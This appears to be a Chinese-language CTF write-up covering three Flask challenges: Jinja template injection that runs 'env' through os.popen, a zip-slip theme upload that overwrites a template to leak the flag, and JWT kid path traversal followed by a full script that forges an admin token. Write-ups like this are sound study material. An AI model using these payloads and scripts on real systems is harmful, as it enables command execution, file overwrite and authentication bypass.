Space Notes

看起来只是一个普通 Flask 小应用。
但 Fen 留下了一句很奇怪的话:
“如果模板会说话,那它也许会泄露秘密。”

登陆后 /preview 有预览功能,和渲染相关,常规打 Jinja 模板注入:

1
tpl={{namespace.__init__.__globals__.os.popen('env').read()}}

img

Zero Upload

ZeroG 空间站上线了一个照片墙系统,成员可以上传轨道照片,也可以上传自定义主题包来改变照片卡片样式
“压缩包里的路径,也许不只通向解压目录。”
请利用主题包上传功能读取动态 flag。

题目提供关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
with zipfile.ZipFile(zip_path, "r") as zf:
for member in zf.infolist():
target_path = extract_root / member.filename

if member.is_dir():
target_path.mkdir(parents=True, exist_ok=True)
continue

target_path.parent.mkdir(parents=True, exist_ok=True)

with zf.open(member, "r") as src, open(target_path, "wb") as dst:
dst.write(src.read())

/theme/upload 路由下的上传主题功能中没有对压缩包内文件进行文件名检测,可以通过 ../../ 的文件名实现路径穿越,而在 gallery.html

1
2
3
{% for photo in photos %}
{% include "theme/card.html" %}
{% endfor %}

theme/card.html 模板的内容插入到当前位置并渲染,因此我们可以通过将压缩包内的文件命名为 ../../templates/theme/card.html 对其进行文件覆盖

因为应用在中 app.config["ZEROG_FLAG"] = FLAG 将动态 flag 放入了 Flask config 中,那么我们的模板就能设置为:

1
{{ config['ZEROG_FLAG'] }}

从而读取 config 中 ZEROG_FLAG 的值,也就是 flag,恶意 zip 文件生成脚本:

1
2
3
4
5
6
7
8
9
10
import zipfile

payload = """<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
"""

with zipfile.ZipFile("evil_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("../../templates/theme/card.html", payload)

/theme/upload 上传生成的恶意 zip 文件后访问 /gallery 触发 Jinja 模板渲染

img

Orbit API

ZeroG 空间站提供了一个轻量级轨道数据 API。
普通成员登录后只能查看自己的身份信息;
管理员可以访问内部轨道控制接口并读取动态 flag。
开发人员说:
“JWT 都签名了,应该很安全。”
Fen 看完接口文档后留下了一句话:
“信任 header 里的 kid,就像信任未经校验的轨道参数。”
请利用 Orbit API 获取管理员权限并读取 flag。

密钥获取:

1
2
3
4
5
6
7
def read_key_by_kid(kid: str) -> bytes:
_ _key_path = KEY_DIR / kid

if not key_path.exists() or not key_path.is_file():
raise FileNotFoundError("key not found")

return key_path.read_bytes()

token 验证:

1
2
3
4
5
6
7
8
9
def verify_token(token: str) -> dict:
try:
header = jwt.get_unverified_header(token)
except Exception:
raise ValueError("invalid jwt header")

kid = header.get("kid", DEFAULT_KID)

key = read_key_by_kid(kid)

服务器相信客户端传来的 JWT 中的 kid 值,然后通过 KEY_DIR/kid 拼路径,没有过滤 ../ 存在目录穿越漏洞,当攻击者在 header 把 kid 改成 ../static/mission.txt 时,服务端读取的文件是:

1
/app/keys/../static/mission.txt  => /app/static/mission.txt

mission.txt 中的内容就是 JWT 的加密密钥了,也就是 b”ZeroG-Orbit-API-Public-Calibration-Key\n”(注意有换行符,拿到密钥就能伪造 admin 的 JWT 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
_#!/usr/bin/env python3_
_# -*- coding: utf-8 -*-_

import time
import requests
import jwt

BASE_URL = "http://127.0.0.1:5000"

def get_public_key_material():
r = requests.get(BASE_URL + "/static/mission.txt", timeout=10)
r.raise_for_status()
return r.content _# 保留末尾换行_

def forge_admin_token(key_material: bytes) -> str:
now = int(time.time())

payload = {
"username": "admin",
"role": "admin",
"iat": now,
"exp": now + 3600,
}

headers = {
"typ": "JWT",
"alg": "HS256",
"kid": "../static/mission.txt",
}

token = jwt.encode(
payload,
key_material,
algorithm="HS256",
headers=headers,
)

return token

def get_flag(token: str):
r = requests.get(
BASE_URL + "/api/admin/flag",
headers={
"Authorization": f"Bearer {token}"
},
timeout=10,
)

print("[+] status:", r.status_code)
print("[+] response:", r.text)

r.raise_for_status()

return r.json()["flag"]

def main():
print("[*] Fetching public mission file...")
key_material = get_public_key_material()
print("[+] key material:", repr(key_material))

print("[*] Forging admin JWT...")
token = forge_admin_token(key_material)
print("[+] token:", token)

print("[*] Requesting admin flag...")
flag = get_flag(token)

print("[+] FLAG:", flag)

if __name__ == "__main__":
main()

携带管理员 JWT 访问 /api/admin/flag 即可